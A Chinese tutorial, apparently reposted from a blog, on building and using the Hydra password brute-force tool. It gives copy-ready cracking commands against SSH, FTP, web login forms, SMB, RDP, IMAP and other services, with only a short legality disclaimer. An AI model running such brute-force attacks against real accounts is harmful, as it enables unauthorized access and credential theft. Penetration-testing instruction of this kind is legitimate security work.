生活随笔
收集整理的這篇文章主要介紹了
hydra安装及使用
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
說(shuō)明: hydra是著名黑客組織thc的一款開源的暴力密碼破解工具,可以在線破解多種密碼。官網(wǎng):http://www.thc.org/thc-hydra,可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等類型密碼。 這款暴力密碼破解工具相當(dāng)強(qiáng)大,支持幾乎所有協(xié)議的在線密碼破解,其密碼能否被破解關(guān)鍵在于字典是否足夠強(qiáng)大。對(duì)于社會(huì)工程型滲透來(lái)說(shuō),有時(shí)能夠得到事半功倍的效果。本文僅從安全角度去探討測(cè)試,請(qǐng)勿用于非法事件。安裝: 1.yum安裝相應(yīng)依賴包
# yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
2.hydra編譯安裝
# cd /usr/local/src
# wget https://www.thc.org/releases/hydra-7.4.2.tar.gz
# tar zxf hydra-7.4.2.tar.gz
# cd hydra-7.4.2.tar.gz
# ./configure
# make
# make install
# ./configure會(huì)檢測(cè)當(dāng)前系統(tǒng)一些組件配置,主要是對(duì)于破解支持模塊的檢測(cè),可根據(jù)需要安裝對(duì)應(yīng)的支持庫(kù)和依賴包 # make # make install參數(shù):
hydra [[[- l LOGIN |- L FILE ] [- p PASS |- P FILE ]] | [- C FILE ]] [- e ns ]
[- o FILE ] [- t TASKS ] [- M FILE [- T TASKS ]] [- w TIME ] [- f ] [- s PORT ] [- S ] [- vV ] server service [ OPT ]
- R 繼續(xù)從上一次進(jìn)度接著破解。
- S 采用 SSL 鏈接。
- s PORT 可通過(guò)這個(gè)參數(shù)指定非默認(rèn)端口。
- l LOGIN 指定破解的用戶,對(duì)特定用戶破解。
- L FILE 指定用戶名字典。
- p PASS 小寫,指定密碼破解,少用,一般是采用密碼字典。
- P FILE 大寫,指定密碼字典。
- e ns 可選選項(xiàng), n :空密碼試探, s :使用指定用戶和密碼試探。
- C FILE 使用冒號(hào)分割格式,例如“登錄名:密碼”來(lái)代替- L /- P 參數(shù)。
- M FILE 指定目標(biāo)列表文件一行一條。
- o FILE 指定結(jié)果輸出文件。
- f 在使用- M 參數(shù)以后,找到第一對(duì)登錄名或者密碼的時(shí)候中止破解。
- t TASKS 同時(shí)運(yùn)行的線程數(shù),默認(rèn)為 16 。
- w TIME 設(shè)置最大超時(shí)的時(shí)間,單位秒,默認(rèn)是 30s 。
- v / - V 顯示詳細(xì)過(guò)程。
server 目標(biāo) ip
service 指定服務(wù)名,支持的服務(wù)和協(xié)議: telnet ftp pop3 [- ntlm ] imap [- ntlm ] smb smbnt http -{ head | get } http -{ get | post }- form http - proxy cisco cisco - enable vnc ldap2 ldap3 mssql mysql oracle - listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp - auth [- ntlm ] pcanywhere teamspeak sip vmauthd firebird ncp afp 等等。
OPT 可選項(xiàng)
?使用: 1.手動(dòng)創(chuàng)建用戶名字典和密碼字典,這里只是為了演示,只加了幾個(gè)用戶名和弱口令。真正破解時(shí),需要利用密碼字典生成器生成強(qiáng)大的字典 2.破解ssh: # hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.8 ssh 破解成功,直接顯示結(jié)果。也可以使用 -o 選項(xiàng)指定結(jié)果輸出文件。 # hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh 其它實(shí)例:
1. 破解 ssh :
# hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip ssh
# hydra -l 用戶名 -p 密碼字典 -t 線程 -o save.log -vV ip ssh
? 2.破解ftp:
# hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認(rèn)16) -vV
# hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
? 3.get方式提交,破解web登錄:
# hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip http-get /admin/
# hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php
? 4.post方式提交,破解web登錄:
# hydra -l 用戶名 -P 密碼字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
# hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"
(參數(shù)說(shuō)明:- t 同時(shí)線程數(shù) 3 ,- l 用戶名是 admin ,字典 pass . txt ,保存為 out . txt ,- f 當(dāng)破解了一個(gè)密碼就停止, 10.36 . 16.18 目標(biāo) ip , http - post - form 表示破解是采用 http 的 post 方式提交的表單密碼破解,< title >中的內(nèi)容是表示錯(cuò)誤猜解的返回信息提示。)
? 5.破解https:
# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
? 6.破解teamspeak:
# hydra -l 用戶名 -P 密碼字典 -s 端口號(hào) -vV ip teamspeak
? 7.破解cisco:
# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
? 8.破解smb:
# hydra -l administrator -P pass.txt 10.36.16.18 smb
? 9.破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
? 10.破解rdp:
# hydra ip rdp -l administrator -P pass.txt -V
? 11.破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
? 12.破解imap:
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
此工具強(qiáng)大之處遠(yuǎn)多于以上測(cè)試,其密碼能否破解關(guān)鍵在于強(qiáng)大的字典,對(duì)于社工型滲透來(lái)說(shuō),有時(shí)能夠得到事半功倍的效果
?附錄:----------------------------------------安裝報(bào)錯(cuò)--------------------------------- 附錄1:hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory 如果是ubuntu系統(tǒng)的話,直接apt-get install cmake libssl-dev就可以了。但我系統(tǒng)的centOS,沒有找到libssl-dev這東西。因?yàn)槭?動(dòng)編譯了libssh
# yum install cmake
# cd /usr/local/src
# wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
# tar zxf libssh-0.4.8.tar.gz
# cd libssh-0.4.8
# mkdir build
# cd build
# cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
# make
# make install
# /sbin/ldconfig //要執(zhí)行這句,不然會(huì)出現(xiàn)hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory
# tar zxf hydra-7.4.2.tar.gz
# cd hydra-7.4.2.tar.gz
# ./configure
# make
# make install
總結(jié)
以上是生活随笔 為你收集整理的hydra安装及使用 的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
如果覺得生活随笔 網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔 推薦給好友。